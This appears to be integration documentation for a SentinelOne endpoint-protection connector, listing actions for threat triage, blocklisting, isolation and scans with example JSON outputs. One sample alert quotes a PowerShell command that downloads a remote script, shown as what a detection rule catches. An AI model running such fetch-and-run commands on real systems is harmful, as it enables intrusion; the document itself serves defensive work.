# SentinelOne

> Work with SentinelOne Singularity endpoint protection: find and mitigate threats, set their status and verdict, add notes and ticket ids, triage STAR alerts, isolate, reconnect and scan endpoints, manage the blocklist and read the activity log, and start workflows on new threats, alerts, endpoints and activities.

App · 25 actions. Web page: https://docs.lodol.com/docs/integrations/sentinelone

## Actions

### Add threat note

Add a note to one or more threats, shown on each threat in the console.

**Inputs**

- Threat IDs (`threat_ids`, list, required): The threats' ids, from 'List threats', a trigger or an earlier step. One or more.
- Note (`text`, text, required): The note to add.

**Outputs**

- `affected` (number): How many the console changed (ids it can't see aren't counted)
- `text` (text): The note added
- `threat_ids` (list): The threats it was asked to change

**Example output**

```json
{
  "affected": 1,
  "text": "Ticket opened with the service desk.",
  "threat_ids": [
    "1234567890123456789"
  ]
}
```

### Add to blocklist

Block a file from running by its SHA1 or SHA256 hash, everywhere or in chosen sites or accounts.

**Inputs**

- SHA1 hash (`sha1`, text): The file's SHA1 hash, 40 characters. Give this, the SHA256 hash, or both.
- SHA256 hash (`sha256`, text): The file's SHA256 hash, 64 characters.
- Operating system (`os_type`, text, required): The operating system to block it on. One of: `windows`, `macos`, `linux`, `windows_legacy` (Windows (legacy)).
- Description (`description`, text): Why it is blocked, shown in the console. Defaults to 'Added by Lodol'.
- Sites (`site_ids`, list): The sites the block applies to. Leave Sites and Accounts empty to block it everywhere the token reaches (global; needs a global-scope token).
- Accounts (`account_ids`, list): The accounts the block applies to.

**Outputs**

- `id` (text): The new blocklist item's id
- `item` (object): The new blocklist item
- `items` (list): Every item made, one per scope

**Example output**

```json
{
  "id": "1011121314151617181",
  "item": {
    "account_ids": [],
    "created_at": "2026-11-10T14:40:00.000000Z",
    "description": "Blocked after the phishing campaign",
    "id": "1011121314151617181",
    "os_type": "windows",
    "scope_name": "Head office",
    "sha1": "3395856ce81f2b7382dee72602f798b642f14140",
    "sha256": "",
    "site_ids": [
      "2233445566778899001"
    ],
    "source": "user",
    "user_name": "Lodol automation"
  },
  "items": [
    {
      "account_ids": [],
      "created_at": "2026-11-10T14:40:00.000000Z",
      "description": "Blocked after the phishing campaign",
      "id": "1011121314151617181",
      "os_type": "windows",
      "scope_name": "Head office",
      "sha1": "3395856ce81f2b7382dee72602f798b642f14140",
      "sha256": "",
      "site_ids": [
        "2233445566778899001"
      ],
      "source": "user",
      "user_name": "Lodol automation"
    }
  ]
}
```

### Delete threat note

Delete one note from a threat.

**Inputs**

- Threat ID (`threat_id`, text, required): The threat's id, from 'List threats', a trigger or an earlier step.
- Note ID (`note_id`, text, required): The note's id, from 'List threat notes'.

**Outputs**

- `deleted` (true/false): True once it was deleted
- `note_id` (text): The note deleted
- `threat_id` (text): The threat

**Example output**

```json
{
  "deleted": true,
  "note_id": "8899001122334455667",
  "threat_id": "1234567890123456789"
}
```

### Disconnect endpoints from network

Isolate endpoints from the network so a threat can't spread. They still talk to the SentinelOne console, so you can investigate and reconnect them.

**Inputs**

- Endpoint agent IDs (`agent_ids`, list, required): The endpoints' agent ids, from 'List endpoints', a threat's agent_id or an earlier step. One or more.

**Outputs**

- `affected` (number): How many the console changed (ids it can't see aren't counted)
- `agent_ids` (list): The endpoints it was asked to isolate

**Example output**

```json
{
  "affected": 1,
  "agent_ids": [
    "1122334455667788990"
  ]
}
```

### Get endpoint

Get one endpoint by its agent id: name, operating system, addresses, whether it is online or isolated, and its active threats.

**Inputs**

- Endpoint agent ID (`agent_id`, text, required): The endpoint's agent id, from 'List endpoints', a threat's agent_id or an earlier step.

**Outputs**

- `agent` (object): The endpoint

**Example output**

```json
{
  "agent": {
    "account_id": "4455667788990011223",
    "account_name": "Acme Corp",
    "active_threats": 1,
    "agent_version": "24.1.2.6",
    "computer_name": "ACME-LT-042",
    "domain": "ACME",
    "external_ip": "203.0.113.10",
    "group_id": "3344556677889900112",
    "group_name": "Default Group",
    "id": "1122334455667788990",
    "infected": true,
    "ip_addresses": [
      "10.0.4.17"
    ],
    "is_active": true,
    "is_decommissioned": false,
    "is_up_to_date": true,
    "last_active_date": "2026-11-12T09:41:00.000000Z",
    "last_logged_in_user": "jdoe",
    "machine_type": "laptop",
    "mitigation_mode": "protect",
    "model_name": "HP EliteBook 840 G9",
    "network_status": "connected",
    "os_name": "Windows 11 Pro",
    "os_revision": "22631",
    "os_type": "windows",
    "registered_at": "2025-03-02T10:15:00.000000Z",
    "scan_finished_at": "2026-11-09T02:41:13.000000Z",
    "scan_started_at": "2026-11-09T02:00:00.000000Z",
    "scan_status": "finished",
    "serial_number": "5CD1234XYZ",
    "site_id": "2233445566778899001",
    "site_name": "Head office",
    "updated_at": "2026-11-12T09:41:00.000000Z",
    "uuid": "ff819e70af13be381993075eb0ce5f2f6de05be2"
  }
}
```

### Get threat

Get one threat: its name, classification, statuses, file and hashes, and the endpoint it was found on.

**Inputs**

- Threat ID (`threat_id`, text, required): The threat's id, from 'List threats', a trigger or an earlier step.

**Outputs**

- `threat` (object): The threat

**Example output**

```json
{
  "threat": {
    "account_id": "4455667788990011223",
    "account_name": "Acme Corp",
    "agent_id": "1122334455667788990",
    "agent_network_status": "connected",
    "analyst_verdict": "undefined",
    "classification": "Malware",
    "computer_name": "ACME-LT-042",
    "confidence_level": "malicious",
    "created_at": "2026-11-10T14:22:05.123456Z",
    "detection_engines": [
      "SentinelOne Cloud"
    ],
    "external_ticket_id": "",
    "file_path": "\\Device\\HarddiskVolume3\\Users\\jdoe\\Downloads\\invoice_2026.exe",
    "group_id": "3344556677889900112",
    "group_name": "Default Group",
    "id": "1234567890123456789",
    "identified_at": "2026-11-10T14:22:01.000000Z",
    "incident_status": "unresolved",
    "initiated_by": "agent_policy",
    "ip_address": "10.0.4.17",
    "logged_in_user": "jdoe",
    "md5": "44d88612fea8a8f36de82e1278abb02f",
    "mitigated_preemptively": false,
    "mitigation_actions": [
      {
        "action": "quarantine",
        "last_update": "2026-11-10T14:22:07.000000Z",
        "status": "success"
      }
    ],
    "mitigation_status": "mitigated",
    "name": "invoice_2026.exe",
    "originator_process": "explorer.exe",
    "os_type": "windows",
    "process_user": "ACME\\jdoe",
    "sha1": "3395856ce81f2b7382dee72602f798b642f14140",
    "sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",
    "site_id": "2233445566778899001",
    "site_name": "Head office",
    "storyline": "9B6E0F1A2C3D4E5F",
    "updated_at": "2026-11-10T14:23:40.456789Z"
  }
}
```

### Get threat timeline

List what happened to a threat, newest first: detection, mitigation, status changes and notes.

**Inputs**

- Threat ID (`threat_id`, text, required): The threat's id, from 'List threats', a trigger or an earlier step.
- Limit (`limit`, number): How many to return, 1 to 1,000. Defaults to 50. From 1 to 1000.
- Cursor (`cursor`, text): The 'next_cursor' from the previous page, to read on.

**Outputs**

- `count` (number): How many are on this page
- `events` (list): The events, newest first
- `has_more` (true/false): True if there are more pages
- `next_cursor` (text): Pass as Cursor to read the next page; empty on the last
- `threat_id` (text): The threat
- `total` (number): How many match in all

**Example output**

```json
{
  "count": 1,
  "events": [
    {
      "activity_type": 3005,
      "created_at": "2026-11-10T14:22:07.000000Z",
      "id": "9900112233445566778",
      "primary_description": "The agent quarantined invoice_2026.exe",
      "secondary_description": "",
      "user_id": ""
    }
  ],
  "has_more": false,
  "next_cursor": "",
  "threat_id": "1234567890123456789",
  "total": 1
}
```

### List activities

Read the console's activity log, newest first: detections, mitigations, user actions and endpoint events, by type, site, threat, endpoint or time.

**Inputs**

- Activity types (`activity_types`, list): Only these kinds of activity. Leave empty for all.
- Sites (`site_ids`, list): Only these sites. Leave empty for every site.
- Threat ID (`threat_id`, text): Only activities about this threat.
- Endpoint agent ID (`agent_id`, text): Only activities about this endpoint.
- After (`created_after`, date and time): Only activities at or after this time.
- Before (`created_before`, date and time): Only activities at or before this time.
- Limit (`limit`, number): How many to return, 1 to 1,000. Defaults to 50. From 1 to 1000.
- Cursor (`cursor`, text): The 'next_cursor' from the previous page, to read on.

**Outputs**

- `activities` (list): The activities on this page
- `count` (number): How many are on this page
- `has_more` (true/false): True if there are more pages
- `next_cursor` (text): Pass as Cursor to read the next page; empty on the last
- `total` (number): How many match in all

**Example output**

```json
{
  "activities": [
    {
      "account_id": "4455667788990011223",
      "activity_type": 19,
      "agent_id": "1122334455667788990",
      "created_at": "2026-11-10T14:22:05.200000Z",
      "data": {
        "computerName": "ACME-LT-042",
        "threatClassification": "Malware"
      },
      "group_id": "3344556677889900112",
      "id": "7788990011223344556",
      "primary_description": "Threat invoice_2026.exe was detected on ACME-LT-042",
      "secondary_description": "Malicious file quarantined",
      "site_id": "2233445566778899001",
      "site_name": "Head office",
      "threat_id": "1234567890123456789",
      "user_id": ""
    }
  ],
  "count": 1,
  "has_more": false,
  "next_cursor": "",
  "total": 1
}
```

### List alerts

Find alerts raised by STAR custom detection rules, newest first, by site, severity, status, verdict, time or rule, with the endpoint and process that matched.

**Inputs**

- Sites (`site_ids`, list): Only these sites. Leave empty for every site.
- Severities (`severities`, list): Only alerts of these severities. One or more of: `Critical`, `High`, `Medium`, `Low`, `Info`.
- Incident statuses (`incident_statuses`, list): Only alerts with these incident statuses. One or more of: `unresolved`, `in_progress` (In progress), `resolved`.
- Analyst verdicts (`analyst_verdicts`, list): Only alerts with these verdicts. One or more of: `true_positive` (True positive), `false_positive` (False positive), `suspicious`, `undefined`.
- Created after (`created_after`, date and time): Only alerts created at or after this time.
- Created before (`created_before`, date and time): Only alerts created at or before this time.
- Rule name contains (`rule_name`, text): Only alerts from rules whose name contains this.
- Search (`search`, text): Words to look for in any of the alert's fields.
- Limit (`limit`, number): How many to return, 1 to 1,000. Defaults to 50. From 1 to 1000.
- Cursor (`cursor`, text): The 'next_cursor' from the previous page, to read on.

**Outputs**

- `alerts` (list): The alerts on this page
- `count` (number): How many are on this page
- `has_more` (true/false): True if there are more pages
- `next_cursor` (text): Pass as Cursor to read the next page; empty on the last
- `total` (number): How many match in all

**Example output**

```json
{
  "alerts": [
    {
      "account_id": "4455667788990011223",
      "agent_uuid": "ff819e70af13be381993075eb0ce5f2f6de05be2",
      "analyst_verdict": "undefined",
      "computer_name": "ACME-LT-042",
      "created_at": "2026-11-10T15:01:12.000000Z",
      "event_type": "Process Creation",
      "id": "5566778899001122334",
      "incident_status": "unresolved",
      "os_family": "windows",
      "process_command_line": "powershell -c iwr http://example.com/a.ps1",
      "process_file_path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
      "process_name": "powershell.exe",
      "process_sha1": "6cbce4a295c163791b60fc23d285e6d84f28ee4c",
      "process_sha256": "de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1b160ab32c",
      "process_user": "ACME\\jdoe",
      "reported_at": "2026-11-10T15:01:20.000000Z",
      "rule_description": "PowerShell fetched a file from the internet",
      "rule_id": "6677889900112233445",
      "rule_name": "Suspicious PowerShell download",
      "severity": "High",
      "site_id": "2233445566778899001",
      "source": "STAR",
      "storyline": "9B6E0F1A2C3D4E5F",
      "updated_at": "2026-11-10T15:01:20.000000Z"
    }
  ],
  "count": 1,
  "has_more": false,
  "next_cursor": "",
  "total": 1
}
```

### List blocklist

List file hashes on the blocklist, newest first, including those set for the whole account and for sites under it.

**Inputs**

- Sites (`site_ids`, list): The sites the block applies to. Leave Sites and Accounts empty to block it everywhere the token reaches (global; needs a global-scope token).
- Accounts (`account_ids`, list): The accounts the block applies to.
- Hash contains (`hash_contains`, text): Only hashes containing this.
- Operating systems (`os_types`, list): Only these operating systems. One or more of: `windows`, `macos`, `linux`, `windows_legacy` (Windows (legacy)).
- Limit (`limit`, number): How many to return, 1 to 1,000. Defaults to 50. From 1 to 1000.
- Cursor (`cursor`, text): The 'next_cursor' from the previous page, to read on.

**Outputs**

- `count` (number): How many are on this page
- `has_more` (true/false): True if there are more pages
- `items` (list): The blocklist items on this page
- `next_cursor` (text): Pass as Cursor to read the next page; empty on the last
- `total` (number): How many match in all

**Example output**

```json
{
  "count": 1,
  "has_more": false,
  "items": [
    {
      "account_ids": [],
      "created_at": "2026-11-10T14:40:00.000000Z",
      "description": "Blocked after the phishing campaign",
      "id": "1011121314151617181",
      "os_type": "windows",
      "scope_name": "Head office",
      "sha1": "3395856ce81f2b7382dee72602f798b642f14140",
      "sha256": "",
      "site_ids": [
        "2233445566778899001"
      ],
      "source": "user",
      "user_name": "Lodol automation"
    }
  ],
  "next_cursor": "",
  "total": 1
}
```

### List endpoints

Find endpoints running the SentinelOne agent by site, group, name, operating system, network state, online or offline, or infection, with each one's addresses, user, agent version and threats.

**Inputs**

- Sites (`site_ids`, list): Only these sites. Leave empty for every site.
- Groups (`group_ids`, list): Only endpoints in these groups. Leave empty for every group.
- Computer name contains (`computer_name`, text): Only endpoints whose computer name contains this.
- Operating systems (`os_types`, list): Only these operating systems. One or more of: `windows`, `macos`, `linux`, `windows_legacy` (Windows (legacy)).
- Network statuses (`network_statuses`, list): Only endpoints in these network states. Disconnected means isolated. One or more of: `connected`, `disconnected` (Disconnected (isolated)), `connecting` (Reconnecting), `disconnecting`.
- Online or offline (`activity`, text): Only endpoints that have checked in lately (online), or haven't (offline). Leave empty for both. One of: `online`, `offline`.
- Only infected (`infected_only`, true/false): Only endpoints with at least one active threat.
- Search (`search`, text): Words to match in any of the endpoint's details, such as an IP address or user name.
- Limit (`limit`, number): How many to return, 1 to 1,000. Defaults to 50. From 1 to 1000.
- Cursor (`cursor`, text): The 'next_cursor' from the previous page, to read on.

**Outputs**

- `agents` (list): The endpoints on this page
- `count` (number): How many are on this page
- `has_more` (true/false): True if there are more pages
- `next_cursor` (text): Pass as Cursor to read the next page; empty on the last
- `total` (number): How many match in all

**Example output**

```json
{
  "agents": [
    {
      "account_id": "4455667788990011223",
      "account_name": "Acme Corp",
      "active_threats": 1,
      "agent_version": "24.1.2.6",
      "computer_name": "ACME-LT-042",
      "domain": "ACME",
      "external_ip": "203.0.113.10",
      "group_id": "3344556677889900112",
      "group_name": "Default Group",
      "id": "1122334455667788990",
      "infected": true,
      "ip_addresses": [
        "10.0.4.17"
      ],
      "is_active": true,
      "is_decommissioned": false,
      "is_up_to_date": true,
      "last_active_date": "2026-11-12T09:41:00.000000Z",
      "last_logged_in_user": "jdoe",
      "machine_type": "laptop",
      "mitigation_mode": "protect",
      "model_name": "HP EliteBook 840 G9",
      "network_status": "connected",
      "os_name": "Windows 11 Pro",
      "os_revision": "22631",
      "os_type": "windows",
      "registered_at": "2025-03-02T10:15:00.000000Z",
      "scan_finished_at": "2026-11-09T02:41:13.000000Z",
      "scan_started_at": "2026-11-09T02:00:00.000000Z",
      "scan_status": "finished",
      "serial_number": "5CD1234XYZ",
      "site_id": "2233445566778899001",
      "site_name": "Head office",
      "updated_at": "2026-11-12T09:41:00.000000Z",
      "uuid": "ff819e70af13be381993075eb0ce5f2f6de05be2"
    }
  ],
  "count": 1,
  "has_more": false,
  "next_cursor": "",
  "total": 1
}
```

### List groups

List endpoint groups, with their site and how many endpoints each has.

**Inputs**

- Sites (`site_ids`, list): Only groups in these sites. Leave empty for every site.
- Search (`search`, text): Words to match in a group's name or description.
- Limit (`limit`, number): How many to return, 1 to 1,000. Defaults to 50. From 1 to 1000.
- Cursor (`cursor`, text): The 'next_cursor' from the previous page, to read on.

**Outputs**

- `count` (number): How many are on this page
- `groups` (list): The groups on this page
- `has_more` (true/false): True if there are more pages
- `next_cursor` (text): Pass as Cursor to read the next page; empty on the last
- `total` (number): How many match in all

**Example output**

```json
{
  "count": 1,
  "groups": [
    {
      "created_at": "2024-01-15T09:00:00.000000Z",
      "description": "",
      "id": "3344556677889900112",
      "is_default": true,
      "name": "Default Group",
      "site_id": "2233445566778899001",
      "total_agents": 120,
      "type": "static"
    }
  ],
  "has_more": false,
  "next_cursor": "",
  "total": 1
}
```

### List sites

List the sites the token can see, with their account, state and license use.

**Inputs**

- Search (`search`, text): Words to match in a site's name or description.
- Only active (`active_only`, true/false): Leave out expired and deleted sites.
- Limit (`limit`, number): How many to return, 1 to 1,000. Defaults to 50. From 1 to 1000.
- Cursor (`cursor`, text): The 'next_cursor' from the previous page, to read on.

**Outputs**

- `count` (number): How many are on this page
- `has_more` (true/false): True if there are more pages
- `next_cursor` (text): Pass as Cursor to read the next page; empty on the last
- `sites` (list): The sites on this page
- `total` (number): How many match in all

**Example output**

```json
{
  "count": 1,
  "has_more": false,
  "next_cursor": "",
  "sites": [
    {
      "account_id": "4455667788990011223",
      "account_name": "Acme Corp",
      "active_licenses": 120,
      "created_at": "2024-01-15T09:00:00.000000Z",
      "description": "",
      "id": "2233445566778899001",
      "is_default": false,
      "name": "Head office",
      "site_type": "Paid",
      "state": "active",
      "total_licenses": 150
    }
  ],
  "total": 1
}
```

### List threat notes

List a threat's notes, newest first, with who wrote each.

**Inputs**

- Threat ID (`threat_id`, text, required): The threat's id, from 'List threats', a trigger or an earlier step.
- Limit (`limit`, number): How many to return, 1 to 1,000. Defaults to 50. From 1 to 1000.
- Cursor (`cursor`, text): The 'next_cursor' from the previous page, to read on.

**Outputs**

- `count` (number): How many are on this page
- `has_more` (true/false): True if there are more pages
- `next_cursor` (text): Pass as Cursor to read the next page; empty on the last
- `notes` (list): The notes, newest first
- `threat_id` (text): The threat
- `total` (number): How many match in all

**Example output**

```json
{
  "count": 1,
  "has_more": false,
  "next_cursor": "",
  "notes": [
    {
      "created_at": "2026-11-10T14:30:00.000000Z",
      "creator": "Lodol automation",
      "id": "8899001122334455667",
      "text": "Ticket opened with the service desk.",
      "updated_at": "2026-11-10T14:30:00.000000Z"
    }
  ],
  "threat_id": "1234567890123456789",
  "total": 1
}
```

### List threats

Find threats SentinelOne detected on endpoints, newest first, by site, status, verdict, confidence, time or computer, with the file, hashes, endpoint and what was done about each.

**Inputs**

- Sites (`site_ids`, list): Only these sites. Leave empty for every site.
- Incident statuses (`incident_statuses`, list): Only threats with these incident statuses. One or more of: `unresolved`, `in_progress` (In progress), `resolved`.
- Mitigation statuses (`mitigation_statuses`, list): Only threats with these mitigation statuses. One or more of: `not_mitigated` (Not mitigated), `mitigated`, `marked_as_benign` (Marked as benign).
- Confidence levels (`confidence_levels`, list): Only threats SentinelOne rates this way. One or more of: `malicious`, `suspicious`.
- Analyst verdicts (`analyst_verdicts`, list): Only threats with these verdicts. One or more of: `true_positive` (True positive), `false_positive` (False positive), `suspicious`, `undefined`.
- Detected after (`created_after`, date and time): Only threats detected at or after this time.
- Detected before (`created_before`, date and time): Only threats detected at or before this time.
- Computer name contains (`computer_name`, text): Only threats on endpoints whose name contains this.
- Search (`search`, text): Words to look for in the threat's details, hash, file path, computer name or command line.
- Limit (`limit`, number): How many to return, 1 to 1,000. Defaults to 50. From 1 to 1000.
- Cursor (`cursor`, text): The 'next_cursor' from the previous page, to read on.

**Outputs**

- `count` (number): How many are on this page
- `has_more` (true/false): True if there are more pages
- `next_cursor` (text): Pass as Cursor to read the next page; empty on the last
- `threats` (list): The threats on this page
- `total` (number): How many match in all

**Example output**

```json
{
  "count": 1,
  "has_more": false,
  "next_cursor": "",
  "threats": [
    {
      "account_id": "4455667788990011223",
      "account_name": "Acme Corp",
      "agent_id": "1122334455667788990",
      "agent_network_status": "connected",
      "analyst_verdict": "undefined",
      "classification": "Malware",
      "computer_name": "ACME-LT-042",
      "confidence_level": "malicious",
      "created_at": "2026-11-10T14:22:05.123456Z",
      "detection_engines": [
        "SentinelOne Cloud"
      ],
      "external_ticket_id": "",
      "file_path": "\\Device\\HarddiskVolume3\\Users\\jdoe\\Downloads\\invoice_2026.exe",
      "group_id": "3344556677889900112",
      "group_name": "Default Group",
      "id": "1234567890123456789",
      "identified_at": "2026-11-10T14:22:01.000000Z",
      "incident_status": "unresolved",
      "initiated_by": "agent_policy",
      "ip_address": "10.0.4.17",
      "logged_in_user": "jdoe",
      "md5": "44d88612fea8a8f36de82e1278abb02f",
      "mitigated_preemptively": false,
      "mitigation_actions": [
        {
          "action": "quarantine",
          "last_update": "2026-11-10T14:22:07.000000Z",
          "status": "success"
        }
      ],
      "mitigation_status": "mitigated",
      "name": "invoice_2026.exe",
      "originator_process": "explorer.exe",
      "os_type": "windows",
      "process_user": "ACME\\jdoe",
      "sha1": "3395856ce81f2b7382dee72602f798b642f14140",
      "sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",
      "site_id": "2233445566778899001",
      "site_name": "Head office",
      "storyline": "9B6E0F1A2C3D4E5F",
      "updated_at": "2026-11-10T14:23:40.456789Z"
    }
  ],
  "total": 1
}
```

### Mitigate threats

Kill, quarantine, remediate, roll back or release threats from quarantine. The agents carry it out and report back in the threat's mitigation actions.

**Inputs**

- Threat IDs (`threat_ids`, list, required): The threats' ids, from 'List threats', a trigger or an earlier step. One or more.
- Mitigation action (`mitigation_action`, text, required): What to do. Remediate works on Windows and macOS, roll back on Windows only. One of: `kill` (Kill the process), `quarantine` (Quarantine the file), `remediate` (Remediate (undo its changes; Windows and macOS)), `rollback-remediation` (Roll back the endpoint (Windows only)), `un-quarantine` (Release the file from quarantine).

**Outputs**

- `affected` (number): How many the console changed (ids it can't see aren't counted)
- `mitigation_action` (text): The mitigation action sent
- `threat_ids` (list): The threats it was asked to change

**Example output**

```json
{
  "affected": 1,
  "mitigation_action": "quarantine",
  "threat_ids": [
    "1234567890123456789"
  ]
}
```

### Reconnect endpoints to network

Reconnect isolated endpoints to the network.

**Inputs**

- Endpoint agent IDs (`agent_ids`, list, required): The endpoints' agent ids, from 'List endpoints', a threat's agent_id or an earlier step. One or more.

**Outputs**

- `affected` (number): How many the console changed (ids it can't see aren't counted)
- `agent_ids` (list): The endpoints it was asked to reconnect

**Example output**

```json
{
  "affected": 1,
  "agent_ids": [
    "1122334455667788990"
  ]
}
```

### Remove from blocklist

Remove items from the blocklist by their ids, so the files may run again.

**Inputs**

- Blocklist item IDs (`item_ids`, list, required): The items' ids, from 'List blocklist' or 'Add to blocklist'.

**Outputs**

- `affected` (number): How many the console changed (ids it can't see aren't counted)
- `item_ids` (list): The items it was asked to remove

**Example output**

```json
{
  "affected": 1,
  "item_ids": [
    "1011121314151617181"
  ]
}
```

### Set threat ticket ID

Record a ticket number from another system (a service desk or SOAR case) on threats, so the console links them.

**Inputs**

- Threat IDs (`threat_ids`, list, required): The threats' ids, from 'List threats', a trigger or an earlier step. One or more.
- Ticket ID (`external_ticket_id`, text, required): The ticket's number or id, such as INC0012345.

**Outputs**

- `affected` (number): How many the console changed (ids it can't see aren't counted)
- `external_ticket_id` (text): The ticket id set
- `threat_ids` (list): The threats it was asked to change

**Example output**

```json
{
  "affected": 1,
  "external_ticket_id": "INC0012345",
  "threat_ids": [
    "1234567890123456789"
  ]
}
```

### Start full disk scan

Start a Full Disk Scan on endpoints, which finds dormant threats and handles them by the endpoint's policy.

**Inputs**

- Endpoint agent IDs (`agent_ids`, list, required): The endpoints' agent ids, from 'List endpoints', a threat's agent_id or an earlier step. One or more.

**Outputs**

- `affected` (number): How many the console changed (ids it can't see aren't counted)
- `agent_ids` (list): The endpoints it was asked to scan

**Example output**

```json
{
  "affected": 1,
  "agent_ids": [
    "1122334455667788990"
  ]
}
```

### Stop full disk scan

Stop a Full Disk Scan running on endpoints.

**Inputs**

- Endpoint agent IDs (`agent_ids`, list, required): The endpoints' agent ids, from 'List endpoints', a threat's agent_id or an earlier step. One or more.

**Outputs**

- `affected` (number): How many the console changed (ids it can't see aren't counted)
- `agent_ids` (list): The endpoints it was asked to stop scanning

**Example output**

```json
{
  "affected": 1,
  "agent_ids": [
    "1122334455667788990"
  ]
}
```

### Update alert status

Set alerts' incident status: unresolved, in progress or resolved.

**Inputs**

- Alert IDs (`alert_ids`, list, required): The alerts' ids, from 'List alerts', a trigger or an earlier step. One or more.
- Incident status (`incident_status`, text, required): The status to set. One of: `unresolved`, `in_progress` (In progress), `resolved`.

**Outputs**

- `affected` (number): How many the console changed (ids it can't see aren't counted)
- `alert_ids` (list): The alerts it was asked to change
- `incident_status` (text): The status set

**Example output**

```json
{
  "affected": 1,
  "alert_ids": [
    "5566778899001122334"
  ],
  "incident_status": "in_progress"
}
```

### Update alert verdict

Set alerts' analyst verdict: true positive, false positive, suspicious or undefined.

**Inputs**

- Alert IDs (`alert_ids`, list, required): The alerts' ids, from 'List alerts', a trigger or an earlier step. One or more.
- Analyst verdict (`analyst_verdict`, text, required): The verdict to set. One of: `true_positive` (True positive), `false_positive` (False positive), `suspicious`, `undefined`.

**Outputs**

- `affected` (number): How many the console changed (ids it can't see aren't counted)
- `alert_ids` (list): The alerts it was asked to change
- `analyst_verdict` (text): The verdict set

**Example output**

```json
{
  "affected": 1,
  "alert_ids": [
    "5566778899001122334"
  ],
  "analyst_verdict": "false_positive"
}
```

### Update threat status

Set threats' incident status (unresolved, in progress or resolved), and their analyst verdict with it if you choose one.

**Inputs**

- Threat IDs (`threat_ids`, list, required): The threats' ids, from 'List threats', a trigger or an earlier step. One or more.
- Incident status (`incident_status`, text, required): The status to set. One of: `unresolved`, `in_progress` (In progress), `resolved`.
- Analyst verdict (`analyst_verdict`, text): A verdict to set at the same time. Leave empty to keep it. One of: `true_positive` (True positive), `false_positive` (False positive), `suspicious`, `undefined`.

**Outputs**

- `affected` (number): How many the console changed (ids it can't see aren't counted)
- `incident_status` (text): The status set
- `threat_ids` (list): The threats it was asked to change

**Example output**

```json
{
  "affected": 1,
  "incident_status": "resolved",
  "threat_ids": [
    "1234567890123456789"
  ]
}
```

### Update threat verdict

Set threats' analyst verdict: true positive, false positive, suspicious or undefined.

**Inputs**

- Threat IDs (`threat_ids`, list, required): The threats' ids, from 'List threats', a trigger or an earlier step. One or more.
- Analyst verdict (`analyst_verdict`, text, required): The verdict to set. One of: `true_positive` (True positive), `false_positive` (False positive), `suspicious`, `undefined`.

**Outputs**

- `affected` (number): How many the console changed (ids it can't see aren't counted)
- `analyst_verdict` (text): The verdict set
- `threat_ids` (list): The threats it was asked to change

**Example output**

```json
{
  "affected": 1,
  "analyst_verdict": "true_positive",
  "threat_ids": [
    "1234567890123456789"
  ]
}
```
